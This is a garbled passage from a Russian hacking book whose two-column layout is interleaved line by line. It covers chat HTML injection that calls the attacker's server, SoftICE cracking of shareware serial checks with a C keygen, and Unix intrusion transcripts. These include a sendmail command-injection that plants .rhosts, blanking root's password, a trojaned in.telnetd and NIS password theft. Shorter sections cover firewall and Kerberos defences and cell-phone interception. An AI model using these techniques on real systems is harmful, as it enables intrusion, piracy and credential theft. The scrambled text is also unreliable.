менной окружения HTTP_REFERER. Ну, а сопоставить ник с ID'ом не
Ниже приведен состав окна SoftICE:
проблема, т.к. ID каждого прописан там же примерно в такой строке
<br><b><font color=yellow size= 1>Тут ник</font></b> Регистры
<font color=black><a href="/cgi bin/private_form.cgi?SP448188"> R — правка значения регистров.
<img src=/img/mes.gif border=0 vspace=0></a></font>
(Эта строка взята из правого фрейма, где можно вызвать функцию Окно данных
«Кто в чате»). D — просмотр памяти.

После этого перестало быть проблемой сопоставление ника и IP. E — правка памяти.
Затем можно позабавиться с приватами.
Окно кода
Используя метод сохранения странички на винт, можно получить U — просмотр кода по адресу.
форму для отправления приватов от когото комуто. Т.е. можно в отсы
лаемом приватно сообщении проставлять имя отправителя. A — вставка кода.

Осталось только одно. Известно, что в чате есть киллеры, но ниче Окно команд
го не известно про то, что это, где это, как это. Известно только, что для Здесь вы набираете команды.
того, чтобы киллерствовать, надо зайти на какуюто страничку. Очевид
но, что в этой киллерской страничке показываются имена. Предполо Другие важные клавиши (в стандартной настройке):
жим, что имя показывается таким, каким его вводить. Исходя из этого, H/F1 — помощь;
под именем <bgsound src="http://MyIP/cgibin/spy.exe"> MyNick зашел в
чат (через прокси) и начал легонько ругаться (надо было, чтобы киллеры F5/Ctrl+D — запуск программы (или продолжение прерванной
зашли на свою страничку). После этого, изучив лог нашего ВебСервера программы);
(OmniHTTPd beta), можно увидеть там обращение со страницы, не отно F8 — пошаговая отладка с заходом в тело функции;
сящейся к известным нам страницам чата. Лезем на эту страницу и полу
чаем запрос на ввод пароля, со словами «Дорогой администратор...». Это F10 — пошаговая отладка без захода в тело функции;
приятно греет душу. Дальше можно подобрать пароль или еще что при F11 — выйти из функции (будет работать только до первого PUSH
думать. Но ситуация сложилась так, что мы оказались в одной сети с кил в функции).
лером, и, запустив сниффер, мы получаем пароль.
Хакерские трюки 237 238 Хакерские трюки

Поиск регистрационных кодов В командной строке SoftICE наберите следующее:


Возможно, наилучший способ попрактиковаться — это найти :bpx getwindowtexta
гденибудь sharewareпрограммку и попытаться зарегистрировать ее. Если вы получите сообщение об ошибке (например, «No LDT»),
убедитесь, что в фоне у вас не выполняются никакие другие приложения.
Task Lock 3.00 Как правило, Norton Commander в фоне является причиной подобного
Простая защита на основе серийного номера: номер не зависит ни поведения SoftICE.
от каких факторов.
Вы можете проверить наличие брейкпойнтов командой:
Регистрация заключается в заполнении регистрационного номера
:bl
в диалоговом окошке, которое появляется, когда вы выбираете меню
«Register ➪ Register...». Существует два типа регистрации: для индивиду В результате вы увидите чтонибудь типа:
ального использования и для использования в «конторе» (в оригинале — 00) BPX USER32!GetWindowTextA C=01
site license). Поэтому очень вероятно, что в программе будет две провер Чтобы выйти из отладчика, нажмите CtrlD (или F5) еще раз.
ки регистрационных кодов.
Продолжим... Итак, вы установили брейкпойнт, и теперь SoftICE
Регистрационные коды чаще всего вводятся в обычных строчках будет «выскакивать» при каждом вызове функции GetWindowTextA. По
ввода типа Windows Edit. Чтобы проверить код, программа должна про пробуем ввести какоенибудь значение в окне регистрации и нажмем
читать содержимое строки ввода при помощи одной из функций: OK. Вы нажимаете OK...
16бит ...и получаете дурацкое сообщение о том, что ваш код был непра
GetWindowText вильным.
GetDlgItemText
Значит, это была не функция GetWindowTextA... Попробуем
32бит GetDlgItemTextA.
GetWindowTextA, GetWindowTextW
Удалим старый брейкпойнт:
GetDlgItemTextA, GetDlgItemTextW
:bc 0
Последняя буква в названии 32битных функций говорит о том,
какие строки использует эта функция: однобайтовые или двухбайтовые. (0 — это номер брейкпойнта в списке брейкпойнтов).
Двухбайтовые строки используются очень редко. И установим новый:
Возможно, что вы уже уловили мысль, что «Если бы можно было :bpx getdlgitemtexta
прерваться по вызову GetWindowText...» — и вы можете это сделать!!! Но Ну что ж, попробуем еще раз...
сперва вы должны убедиться, что символьные имена (имена функций)
загружены SoftICE'ом. Wow! Работает! Теперь вы в SoftICE, в самом начале функции
GetDlgItemTextA. Чтобы попасть туда, откуда она была вызвана, нажми
Чтобы установить «ловушку» (на самом деле это называется точ те F11. Теперь вы внутри модуля SGLSET.EXE. Если вы не уверены —
кой останова, или брейкпойнтом) в SoftICE, вы должны зайти в отладчик посмотрите на строчку между окном кода и окном командной строки,
нажатием клавиш CtrlD и использовать команду BPX. В качестве пара она должна выглядеть так:
метра команды можно использовать либо имя функции, либо непосред
ственно адрес. Так как наш «объект изучения» (Task Lock) является —————SGLSET!.text+1B13—————
32битным приложением, мы должны поставить брейкпойнт на функ Сейчас вы уже можете запретить реакцию на вызов функции:
цию GetWindowTextA. Если это не поможет, попробуйте поставить :bd 0
брейкпойнт на другие функции. Если вам вдруг захочется снова разрешить ее, наберите:
:be 0
Хакерские трюки 239 240 Хакерские трюки

Первая строка в окне кода выглядит так: Это выглядит как вызов функции сравнения двух строк. Она рабо
CALL [USER32!GetDlgItemTextA] тает так: на входе — две строки, на выходе — 0, если они равны, и любое
другое значение, если не равны.
Чтобы посмотреть строчки над ней, нажимайте Ctrl+Up («стрелка
вверх») до тех пор, пока не увидите нижеприведенный кусок кода. Если А зачем программе сравнивать какуюто строчку с той, что вы вве
вы ничего не понимаете в Ассемблере, ознакомьтесь с комментариями, ли в окне диалога? Да затем, чтобы проверить правильность вашей стро
которые могут вам помочь. ки (как вы, возможно, уже догадались)! Тактак, значит, этот номер
RET ; Конец функции скрывался по адресу [EBP+FFFFFF64]? SoftICE не совсем корректно ра
PUSH EBP ; Начало другой функции ботает с отрицательными числами, и поэтому настоящий адрес следует
MOV EBP, ESP ; ... посчитать:
SUB ESP, 0000009C ; ... 100000000 — FFFFFF64 = 9C
PUSH ESI ; ... Вы можете сделать это вычисление прямо в SoftICE:
> LEA EAX, [EBP 34] ; EAX = EBP 34
:? 0 FFFFFF64
PUSH EDI ; ...
MOVE ESI, ECX ; ... Число 100 000 000 слишком велико для SoftICE, а вычитание из 0
PUSH 32 ; Макс. длина строки дает тот же самый результат.
> PUSH EAX ; Адрес текстового буфера Наконец пришло время взглянуть, что же скрывается по адресу
PUSH 000003F4 ; Идентификатор управления EBP9C...
PUSH DWORD PTR [ESI+1C] ; Идентификатор окна диалога
:d ebp 9c
CALL [USER32!GetDlgItemTextA] ; Получить текст
В окне данных SoftICE вы видите длинную строчку цифр — это се
Команды PUSH означают сохранение значений для последующе
рийный номер!
го использования.
Но вы помните, что было сказано раньше? Два типа регистра
Важные строчки помечены символом «>». Глядя на этот код, мы
ции — два разных серийных номера. Поэтому после того, как вы записа
видим, что адрес текстового буфера хранился в регистре EAX и что EAX
ли на бумажечку первый серийный номер, продолжайте трассировать
был EBP34h.
программу при помощи F10. Мы дошли до следующего куска кода:
Поэтому нам стоит взглянуть на EBP34h: > LEA EAX, [EBP 68] ; EAX = EBP 68
:d ebp 34 LEA ECX, [EBP 34] ; ECX = EBP 34
Вы должны были увидеть текст, который вы ввели в диалоговом PUSH EAX ; Сохраняет EAX
окне. Теперь мы должны найти место, где ваш номер сравнивается с ре PUSH ECX ; Сохраняет ECX
альным серийным номером. > CALL 00403DD0 ; Снова вызывает функцию
ADD ESP, 08 ; Удаляет сохраненную информацию
Поэтому мы пошагово трассируем программу при помощи F10 до TEST EAX, EAX ; Проверяет значение функции
тех пор, пока не встретим чтонибудь о EBP34. Не пройдет и нескольких JNZ 00402BFF ; Прыгает если не «ноль»
секунд, как вы наткнетесь на следующий код:
И что вы видите по адресу EBP68? Второй серийный номер!
> LEA EAX, [EBP+FFFFFF64] ; EAX = EBP 9C
:d ebp 68
LEA ECX, [EBP 34] ; ECX = EBP 34
PUSH EAX ; Сохраняет EAX Вот и все... Надеемся, что у вас все получится!
PUSH ECX ; Сохраняет ECX
Command Line 95
> CALL 00403DD0 ; Вызывает функцию
ADD ESP, 08 ; Удаляет сохраненную информацию Программа легкой регистрации «имякод» и создания генератора
TEST EAX, EAX ; Проверяет значение функции ключей — хороший пример, с легким алгоритмом генерации кода.
JNZ 00402BC0 ; Прыгает, если не «ноль»
Хакерские трюки 241 242 Хакерские трюки

Вы осмотрели программу и увидели, что это 32битное приложе А что такое шестнадцатеричное 3039? Наберем:
ние, требующее имя и код в окне регистрации. Поехали! :? 3039
Мы поступаем так же, как и с Task Lock'ом — ставим брейкпойн И получим следующее:
ты. Можно даже поставить сразу два брейкпойнта на наиболее возмож 00003039 0000012345 «09»
ные функции: GetWindowTextA и GetDlgItemTextA. Нажмите CtrlD, ^ hex ^ dec ^ ascii
чтобы вызвать отладчик и наберите в окне команд:
Как вы видите (и, возможно, уже догадались), это код, который вы
:bpx getwindowtexta ввели в диалоговом окне. OК, что теперь? Посмотрим дальше:
:bpx getdlgitemtexta
MOV [0040A548], EAX ; Сохраняет рег. код
Теперь возвращайтесь в прерванную программу, идите в окно ре MOV EDX, EAX ; А также помещает его в EDX
гистрации и вводите имя и какойнибудь номер (обыкновенное целое
Мы достигли места, где подсчитывается реальный регистрацион
число — это наиболее вероятный код). Можно написать, например:
ный код!
Name: ED!SON '96
MOV ECX, FFFFFFFF ; Эти строчки подсчитывают
Code: 12345
SUB EAX, EAX ; длину строки
Программа остановилась на GetDlgItemTextA. Так же, как и в слу REPNZ SCASB ; .
чае с Task Lock'ом, мы нажимаем F11 чтобы вернуться в вызывающую NOT ECX ; .
функцию. Просматриваем окно кода при помощи Ctrl+Up. Вызов функ DEC ECX ; ECX теперь содержит длину
ции выглядит так: MOVSX EAX, BYTE PTR [0040A680] ; Получает байт по адр. 40A680h
MOV ESI, [ESP+0C] IMUL ECX, EAX ; ECX = ECX * EAX
PUSH 1E ; Максимальная длина SHL ECX, 0A ; Сдвиг влево на 0Ah бит
PUSH 0040A680 ; Адрес буфера ADD ECX, 0002F8CC ; Добавляет 2F8CC к результату
PUSH 000003ED ; Идентификатор управления MOV [0040A664], ECX
PUSH ESI ; Идентификатор окна диалога ...И где он проверяется
CALL [User32!GetDlgItemTextA]
CMP ECX, EDX ; Сравнивает числа
Число 40A680 кажется нам интересным, поэтому мы проверяем JZ 00402DA6 ; Прыгает, если равны
этот адрес:
Когда вы дотрассировали до сравнения чисел, вы можете посмот
:d 40a680 реть, каким должен был быть ваш реальный регистрационный код:
Что же видно в окне данных, как не имя, которое мы ввели? А те :? ecx
перь взглянем на кусок кода под вышеприведенным:
В нашем случае это дало:
PUSH 00 ; (не интересно)
000DC0CC 0000901324
PUSH 00 ; (не интересно)
PUSH 000003F6 ; Идентификатор управления То есть, правильный код для нас: 901324.
MOV EDI, 0040A680 ; Адрес буфера Нажмем F5 или CtrlD, чтобы вернуться в программу, и попробу
PUSH ESI ; Идентификатор окна диалога ем еще раз, но на этот раз с правильным кодом (в десятичной форме). Ра
CALL [User32!GetDlgItemInt] ботает!
Функция GetDlgItemInt похожа на GetDlgItemTextA, но возвра
щает не строку, а целое число. Она возвращает его в регистре EAX, по Создание генератора ключей
этому мы трассируем этот код (F10) и смотрим, что же у нас появилось
для Command Line 95
в окне регистров после вызова функции... Оно выглядит так:
Взглянем на алгоритм генерации кода и попробуем перевести его
EAX=00003039 на язык Си.
Хакерские трюки 243 244 Хакерские трюки

Вот очень простая формула, по которой подсчитывается ключ: в верхушку стека, и затем вызываемая функция проверяет, что лежит
code = ((uppercase_first_char * length_of_string) << 0x0A) + в стеке, и использует эти данные по своему усмотрению.
0x2f8cc;
Замечание 1: Не следует забывать, что все символы в окне ввода О программах на VISUAL BASIC
имени были приведены к верхнему регистру, поэтому мы должны сде EXEфайлы, производимые Visual Basic'ом, не являются настоя
лать то же. щими EXE. Они просто содержат код для вызова VBRUNxxx.DLL, кото
рый затем читает данные из EXE и выполняет программу. Такое устрой
Замечание 2: << 0x0A означает умножние на 2 в степени 10. ство псевдоEXEфайлов является также причиной того, что программы
Целиком программа на Си выглядит так: на Visual Basic'е такие медленные.
#include А так как EXEфайлы не являются настоящими EXEфайлами, вы
#include не можете трассировать и дизассемблировать их — вы найдете вызов
int main() функции из DLL и кучу мусора. И когда вы будете трассировать такую
{ программу, вы «заблудитесь» в DLL.
unsigned long code;
unsigned char buffer[0x1e]; Решением этой проблемы является декомпилятор. Существует де
printf(«CommandLine95 Keymaker by ED!SON '96\n»); компилятор для программ, написанных на Visual Basic'е версий 2 и 3, со
printf(«Enter name: «); зданный кемто, называющим себя DoDi.
gets(buffer);
strupr(buffer); Как в SoftICE загружать символьные имена
code = ( ((unsigned long)buffer[0] * Чтобы проверить, загрузил ли SoftICE символьные имена
(unsigned long)strlen(buffer)) GetWindowText, вы должны войти в отладчик нажатием на клавиши
<< 0x0A) + 0x2f8cc; CtrlD и в окне команд ввести следующее:
printf(«Your code is: %lu», code); :exp getwindowtext
return 0;
Если вы не получили списка всех функций GetWindowText, вам
}
нужно отредактировать файл \SIW95\WINICE.DAT, удалив символ ком
Как работают PUSH и CALL, ментария (';') перед одной из строчек 'exp=', которые следуют за текстом:
«Examples of export symbols that can be included for chicago» в конце этого
когда программа вызывает функцию файла.
Снова взглянем на кусок кода из Task Lock'а:
Вы можете удалить комментарии из всех строчек 'exp=' или сохра
PUSH 32 ; Макс. длина строки
нить немножко памяти, раскомментировав только строчки с файлами
PUSH EAX ; Адрес текстового буфера
kernel32.dll, user32.dll и gdi32.dll, которые являются самыми важными.
PUSH 000003F4 ; Идентификатор управления
После этого вы должны перегрузить компьютер.
PUSH DWORD PTR [ESI+1C] ; Идентификатор окна диалога
CALL [USER32!GetDlgItemTextA] ; Получает текст
Синтаксис некоторых функций
Когда вы вызываете функцию GetDlgItemTextA из программы
на C, вызов выглядит так: Вам будет легче понять, как вызываются функции, о которых мы
говорили, если вы будете знать их описания (декларации):
GetDlgItemTextA(hwndDlg, 0x3F4, buffer, 0x32);
^ [ESI+1C] ^ EAX int GetWindowText(int windowhandle, char *buffer, int maxlen);
int GetDlgItemText(int dialoghandle, int controlid, char *buffer,
PUSH сохраняет данные в области памяти, называемой стеком. int maxlen);
В результате каждого PUSH'а новый кусок данных помещается int GetDlgItemInt(int dialoghandle, int controlid, int *flag, int
type);
Хакерские трюки 245 246 Хакерские трюки

Глава 22. ! версия, которая, как известно, содержит ошибку.


helo xxx
Несанкционированный доступ: примеры 220 Helo xxx, ( crack.edu )
mail from: |echo crack.edu/.rhosts@target.remote.com
вторжения ! подставляем команду вместо обратного адреса.
200 Sender ok.
Повышение интереса к TCP/IP сетям обусловлено бурным ростом
rcpt to: nosuchuser
сети Internet. Однако это заставляет задуматься над тем, как защитить
! вводим заранее неправильного адресата
свои информационные ресурсы и компьютеры от различного рода зло
500 nosuchuser: user unknown
умышленников. Для того, чтобы разработать реально действующие
! несмотря на сообщение, продолжаем диалог.
контрмеры, необходимо знать способы и методы взломщиков. В миро
data
вом сообществе Internet уже давно ведется дискуссия о том, публиковать
230 Enter mail, end with .
или не публиковать материалы о методах проникновения в чужие ком
200 Mail accepted
пьютерные сети. После жарких обсуждений, похоже, была осознана не
! все, машина взломана....
обходимость полной открытости по этому вопросу. Этот материал осно
quit
ван на опыте администрирования сети при постоянных попытках взлома
crack% su
и методических указаниях CERT. Его задача состоит в том, чтобы обра
! А теперь залезаем так, чтобы нас не было видно через who
тить внимание администраторов сетей, подключенных к Internet, на оче
# rsh target.remote.com /bin/csh i
видные бреши в системе безопасности наиболее популярных систем.
Welcome to remote.com!
Кроме примеров взломов и возможных дыр, постараемся кратко описать
Warning! No access to terminal, job control disabled!
основные средства борьбы с этим неизбежным злом. Учитывая тот факт,
target#
что большинство серверов на сети использует операционную систему
Unix, обзор возможных прорех в системе безопасности имеет смысл на Эта ошибка присутствует в нескольких десятках различных вари
чать именно с этой ОС. антов ОС Unix самых разных фирм.
Кроме того, существуют и более простые способы при благопри
Основные методы получения ятных условиях: удаленная машина Sun, система SunOS 4, NIS не запу
несанкционированного доступа к Unix через сеть щен, система поставлена, и ничего не исправлялось, например:
Начать обзор следует с возможности взлома через электронную crack# su — bin
почту. Для пересылки электронной почты по IP на подавляющем боль $ rsh target.remote.com /bin/csh i
шинстве систем используется программа sendmail, разработанная в уни ! В файле /etc/hosts.equiv есть запись + и ошибка...
верситете Беркли. Задуманная как чисто служебная утилита, эта про Welcome to remote.com!
грамма приобрела огромную популярность и вошла в состав ! Каталог /etc с владельцем bin...
дистрибутива многих Unixсистем. Однако она содержала в себе очень Warning! No access to terminal, job control disabled!
серьезную ошибку, благодаря которой любой желающий имел возмож % ls ldg /etc
ность выполнить на удаленной машине команды с привилегиями супер drwxr xr x 10 bin bin 1536 Apr 10 01:45 /etc/
пользователя. Обычно взломщики пытались отправить себе файл passwd % cd /etc
для подбора паролей либо помещали свою информацию в файлы, ис ! Делаем passwd доступным на запись нам...
пользующиеся программами rlogin, rsh для запуска shell без запроса па % mv passwd passwd.was
роля, например: % cp passwd.was passwd
crack% telnet target.remote.com 25 ! Редактируем
Connecting to 123.456.654.321. % ed passwd
! соединяемся по порту 25 — это SMTP 2341
220 sendmail SMI/4.3.5.2 ready 1p
Хакерские трюки 247 248 Хакерские трюки

root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh ! Каталог доступен на запись


s/Nkkh5gkljGyj//p drwxrwxr x 10 bin bin 1536 Apr 10 01:45 /usr/etc
root::0:0:Root:/:/bin/csh % grep telnet /etc/inetd.conf
w telnet stream nowait root /usr/etc/in.telnetd in.telnetd
2341 ! Нашли программу, которая запустится
q !под root`ом из нашего каталога
! И в суперпользователя. % cd /usr/etc
%echo /bin/csh i | su root % mv in.telnetd in.telnetd1
Warning! No access to terminal, job control disabled! ! создаем троянского коня
target# mv /etc/passwd.was /etc/passwd % cat in.telnetd
! Чтобы никто не обнаружил, что мы делали. #!/bin/sh
Кроме электронной почты, в TCP/IP сетях очень широко приме exec /bin/csh i
няются различные виды распределенных файловых систем, самой попу ^D
лярной из которых является Network File System (NFS). % chmod 755 in.telnetd
! и запускаем его
В случае неаккуратного заполнения файла /etc/exports или ис % telnet 127.1
пользования дистрибутива с ошибкой (SunOS 4.1) может возникнуть Connecting 127.1.
следующая ситуация: Warning! No access to terminal, job control disabled!
crack% showmount e target.remote.com # chown user /etc;
Export list for target.remote.com ! Делаем /etc своим
/home Everyone ^M: command not found
/disk3 neptun pluton alpha # exit;
! Домашние каталоги доступны по NFS ^M: command not found
crack% su Connection closed by foreign host.
# mount t nfs target.remote.com:/home /mnt % cd /etc
# cd /mnt ! и далее, как в примере выше.
! Монтируем каталог к нам Если на машине работает NISсервер и не принято дополнитель
# ls ldg * ных мер, то с помощью специальной программы можно утащить по сети
drwxr xr x 10 257 20 1536 Apr 10 01:45 user/ файл passwd, общий для некоторого числа машин. В случае несоблюде
# echo crack.edu user/.rhosts ния правил при создании паролей есть довольно приличная вероятность,
! Устанавливаем .rhosts у пользователя что программа crack подберет несколько. Дальнейшие события могут
# cat /etc/passwd разворачиваться по одному из сценариев для получения полномочий су
user::257:20::/: перпользователя (после того, как вы зашли на удаленную машину как
^D пользователь):
! Создаем такого же у нас
! проверяем на NIS сервер
# su — user
crack% rpcinfo p target.remote.com | grep bind
! Становимся им
120000 2 udp 2493 ypbind
$ rsh target.remote.com /bin/csh i
! есть такой...
Warning! No access to terminal, job control disabled!
crack% ypx o target.passwd g target.remote.com
! И заходим на удаленную машину
! забираем файл паролей
% id
crack% crack target.passwd
uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
! и запускаем подборщик паролей
% ls ldg /usr/etc
[ a lot of time ]
Хакерские трюки 249 250 Хакерские трюки

OK, user user has password iamuser Password: you@your.site


! нашли, заходим 230 — Hello, user@our.workstation.our.company.com
crack% telnet target.remote.com то в случае программного брандмауэра надо набирать:
! далее как в предыдущем примере.
% ftp our soft firewall
Естественно, что если известны способы преодоления защиты, то Name: (our soft firewall:user) ftp@arch.kiae.su
должны быть разработаны и средства защиты. Для минимизации воз Password: XXXXXXX
можных попыток проникновения в сеть очень эффективен маршрутиза Connected to arch.kiae.su
тор, умеющий анализировать поток проходящей через него информации Name: (arch.kiae.su: ftp)
и осуществляющий фильтрацию пакетов. Эта возможность реализована 230 Guest login ok, send ident as password
практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) Password: you@your.site
и в виде специального ПО для Unixмашин (Sun, DEC, BSDI, FreeBSD). 230 — Hello, user@our sort firewall.our.company.com
Такие маршрутизаторы позволяют осуществлять работу в сети Аналогично работают telnet, rlogin, X11 и т.д.
строго по определенным правилам. Например, не пропускать из/в ло
кальную сеть некоторые протоколы. Очень рекомендуется запрещать Борьба с возможностью анализа содержания
rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты IPBпакетов
2048 и 2049 — это порты данных для NFS. Также рекомендуется четко оп
ределить машины, принимающие почту, и открыть порт 25 только для Все рассмотренные выше примеры относятся к так называемым
них. При необходимости возможна конфигурация, которая вообще за активным методам. Аккуратное администрирование системы легко сво
прещает какиелибо заходы по сети в локальную сеть, при этом разрешая дит на нет все рассмотренные дырки, но совершенно бессильно в случае
изнутри использовать любые TCPсервисы глобальной сети. Подобный применения пассивной атаки. Что это такое? Самый распространенный,
маршрутизатор или комбинация из нескольких машин и фильтрующих простой в исполнении способ — анализ информации, передаваемой по
маршрутизаторов получили название брандмауэр (от англ. firewall — сте каналам связи, преимущественно по сети Ethernet.
на огня). Основан он на свойстве этой сети, благодаря которому каждый пе
Для установления полного контроля за всеми соединениями мож редаваемый пакет может быть проанализирован любой машиной, под
но использовать так называемый программный брандмауэр (software fire ключенной на этот сегмент сети. При наличии достаточно быстрой ма
wall). Он представляет собой своеобразный маршрутизатор, который шины с адаптером, разрешающим работу в режиме приема всех пакетов,
осуществляет контроль за соединениями не на уровне IPпакетов, а на можно легко извлекать такую информацию, как пароли пакетов NFS.
уровне собственно контролируемых протоколов. Если на этом сегменте расположено несколько маршрутизаторов,
В этом случае режим прозрачной пересылки пакетов выключен, то в наш фильтр попадут не только пароли нашей сети, но и те, которы
но вместо программ, обеспечивающих работу с необходимыми протоко ми обмениваются маршрутизаторы. Таким образом, за сравнительно ко
лами (telnet, ftp...), запускаются программы, которые транслируют эти роткое время можно собрать коллекцию паролей на нескольких сотнях
протоколы в сеть по другую сторону машины, обычно сверившись по ба машин.
зе данных на предмет правомерности такого соединения и после иденти Для борьбы с такими методами в конце 80х годов была разработа
фикации пользователя. на система сетевой идентификации пользователя под названием
Для пользователя такой брандмауэр выглядит единственным ок Kerberos. Основной целью было полное исключение пересылки паролей
ном во внешний мир. Например, если в сети для того, чтобы зайти по ftp по сети. Пользователь вводит пароль только один раз при регистрации в
на машину arch.kiae.su, вам надо набрать: системе, после чего ему выделяется билет на несколько часов, который
хранится в файле в зашифрованном виде.
% ftp arch.kiae.su
Connected to arch.kiae.su Этот билет содержит информацию о пользователе, время выдачи,
Name: (arch.kiae.su: you) адрес машины и случайно сгенерированный ключ для дальнейшего об
230 Guest login ok, send ident as password мена идентификационной информацией. Первоначальным ключом слу
Хакерские трюки 251 252 Хакерские трюки

жит пароль пользователя. Билет, выданный при входе в систему, исполь Глава 23.
зуется для получения вторичных билетов, по которым может быть предо
ставлен какойлибо сетевой сервис. Мобильная связь
Со стороны сервера используется аналогичный механизм с той Так уж устроен мир, что любое техническое изобретение человече
разницей, что в качестве пользователя выступает программа, обеспечи ского разума, расширяющее наши возможности и создающее для нас до
вающая запрошенный вид услуги. Таким образом, программа пользова полнительный комфорт, неизбежно содержит в себе и отрицательные
теля и программа на сервере получают пару случайных ключей, с помо стороны, которые могут представлять потенциальную опасность для
щью которых они шифруют идентификационную информацию, пользователя. Не являются исключением в этом плане и современные
прилагают к ней контрольные суммы и на этой основе удостоверяются средства беспроводной персональной связи. Да, они несоизмеримо рас
в том, что они те, кем представились. ширили нашу свободу, «отвязав» нас от телефонного аппарата на рабо
После этого программа пользователя может получить доступ чем столе и дав нам возможность в любое время и в любом месте связать
к сервису без запроса пароля. Без знания первоначальных ключей сеанс ся с необходимым корреспондентом. Но немногие знают, что эти «чудеса
не состоится. Кроме того, полученная пара ключей может быть исполь техники» скрывают в себе весьма опасные «ловушки». И для того, чтобы
зована для шифрования всего сеанса работы по сети. Эта система имеет однажды ваш помощник — скажем, сотовый телефон — не превратился
целый ряд недостатков. Вопервых, подразумевается четкое разделение в вашего врага, эти «ловушки» следует хорошо изучить.
машин на рабочие станции и серверы. В случае, если пользователь поже Чтобы лучше понять проблемы, связанные с использованием бес
лает, зайдя на сервер, с помощью telnet зайти на другую машину, иденти проводных средств связи, давайте вспомним, что эти средства из себя
фикация не сработает, так как пользователь имеет первоначальный би представляют и как работают.
лет только на той рабочей станции, где он вводил пароль.
Современные беспроводные средства персональной связи вклю
Иными словами, в Kerberos версии 4 полномочия пользователя не чают в себя мобильные телефоны сотовой связи, пейджеры и беспровод
передаются на другие машины. Кроме того, требуется выделенная маши ные стационарные радиотелефоны.
на под сервер Kerberos, причем работающая в максимально секретных
условиях, поскольку на ней содержится база данных, где содержатся все Мобильные телефоны сотовой связи фактически являются слож
пароли пользователей. Kerberos версии 4 очень ограниченно применим в ной миниатюрной приемопередающей радиостанцией. Каждому сото
сети, где возможны ситуации, когда в силу ряда обстоятельств сервер вому телефонному аппарату присваивается свой электронный серийный
Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудше номер (ESN), который кодируется в микрочипе телефона при его изго
ние или обрыв связи и т.д.). товлении и сообщается изготовителями аппаратуры специалистам, осу
ществляющим его обслуживание. Кроме того, некоторые изготовители
Часть недостатков, перечисленных выше, ликвидирована в вер указывают этот номер в руководстве для пользователя. При подключе
сии 5, но эта реализация запрещена к экспорту из США. По описанному нии аппарата к сотовой системе связи техники компании, предоставля
алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отли ющей услуги этой связи, дополнительно заносят в микрочип телефона
чаются они применением различных алгоритмов шифрования, другого еще и мобильный идентификационный номер (MIN).
протокола передачи (RPC вместо UDP) и способов объединения адми
нистративных доменов в иерархию. Мобильный сотовый телефон имеет большую, а иногда и неогра
ниченную дальность действия, которую обеспечивает сотовая структура
Кроме рассмотренных, существуют и другие, более изощренные, зон связи. Вся территория, обслуживаемая сотовой системой связи, раз
способы вторжения. Многие из них можно нейтрализовать простым ак делена на отдельные прилегающие друг к другу зоны связи, или «соты».
куратным администрированием. По статистике, большинство взломов Телефонный обмен в каждой такой зоне управляется базовой станцией,
осуществляется изза халатности администраторов или персонала, экс способной принимать и передавать сигналы на большом количестве ра
плуатирующего систему. He откладывая в долгий ящик, проверьте пере диочастот. Кроме того, эта станция подключена к обычной проводной
численные выше способы несанкционированного доступа — если удаст телефонной сети и оснащена аппаратурой преобразования высокочас
ся взломать ваш компьютер вам, то это могут сделать и другие. тотного сигнала сотового телефона в низкочастотный сигнал проводно
Хакерские трюки 253 254 Хакерские трюки

го телефона и наоборот, чем обеспечивается сопряжение обеих систем. точки зрения — да. А с точки зрения безопасности передаваемой инфор
Периодически (с интервалом 3060 минут) базовая станция излучает слу мации?
жебный сигнал. Приняв его, мобильный телефон автоматически добав
В настоящее время электронный перехват разговоров, ведущихся
ляет к нему свои MIN и ESNномера и передает получившуюся кодовую
по сотовому или беспроводному радиотелефону, стал широко распро
комбинацию на базовую станцию. В результате этого осуществляется
страненным явлением.
идентификация конкретного сотового телефона, номера счета его вла
дельца и привязка аппарата к определенной зоне, в которой он находит Так, например, в Канаде, по статистическим данным, от 20 до 80%
ся в данный момент времени. радиообмена, ведущегося с помощью сотовых телефонов, случайно или
преднамеренно прослушивается посторонними лицами.
Когда пользователь звонит по своему телефону, базовая станция
выделяет ему одну из свободных частот той зоны, в которой он находит Электронный перехват сотовой связи не только легко осуще
ся, вносит соответствующие изменения в его счет и передает его вызов по ствить, он, к тому же, не требует больших затрат на аппаратуру, и его поч
назначению. Если мобильный пользователь во время разговора переме ти невозможно обнаружить. На Западе прослушивание и/или запись раз
щается из одной зоны связи в другую, базовая станция покидаемой зоны говоров, ведущихся с помощью беспроводных средств связи,
автоматически переводит сигнал на свободную частоту новой зоны. практикуют правоохранительные органы, частные детективы, промыш
ленные шпионы, представители прессы, телефонные компании, ком
Пейджеры представляют собой мобильные радиоприемники с ус
пьютерные хакеры и т.п.
тройством регистрации сообщений в буквенном, цифровом или смешан
ном представлении, работающие, в основном, в диапазоне 100400 МГц. В западных странах уже давно известно, что мобильные сотовые
Система пейджинговой связи принимает сообщение от телефонного телефоны, особенно аналоговые, являются самыми уязвимыми с точки
абонента, кодирует его в нужный формат и передает на пейджер вызыва зрения защиты передаваемой информации.
емого абонента.
Принцип передачи информации такими устройствами основан
Стационарный беспроводный радиотелефон объединяет в себе на излучении в эфир радиосигнала, поэтому любой человек, настроив
обычный проводный телефон, представленный самим аппаратом, под соответствующее радиоприемное устройство на ту же частоту, может ус
ключенным к телефонной сети, и приемопередающее радиоустройство лышать каждое ваше слово. Для этого даже не нужно иметь особо слож
в виде телефонной трубки, обеспечивающей двусторонний обмен сигна ной аппаратуры. Разговор, ведущийся с сотового телефона, может быть
лами с базовым аппаратом. В зависимости от типа радиотелефона, даль прослушан с помощью продающихся на Западе программируемых скан
ность связи между трубкой и аппаратом, с учетом наличия помех и пере еров с полосой приема 30 кГц, способных осуществлять поиск в диапа
отражающих поверхностей, составляет в среднем до 50 метров. зоне 860890 МГц. Для этой же цели можно использовать и обычные
сканеры после их небольшой модификации, которая, кстати, весьма по
Проблема безопасности при пользовании сотовым телефоном
дробно описана в Internet`е. Перехватить разговор можно даже путем
и другими мобильными средствами персональной беспроводной связи
медленной перестройки УКВтюнера в телевизорах старых моделей в
имеет два аспекта: физическая безопасность пользователя и безопас
верхней полосе телевизионных каналов (от 67 до 69), а иногда и с помо
ность информации, передаваемой с помощью этих устройств. Здесь сра
щью обычного радиотюнера. Наконец, такой перехват можно осуще
зу следует оговориться, что угрозу физической безопасности создает
ствить с помощью ПК.
только мобильный сотовый телефон, так как пейджеры и стационарные
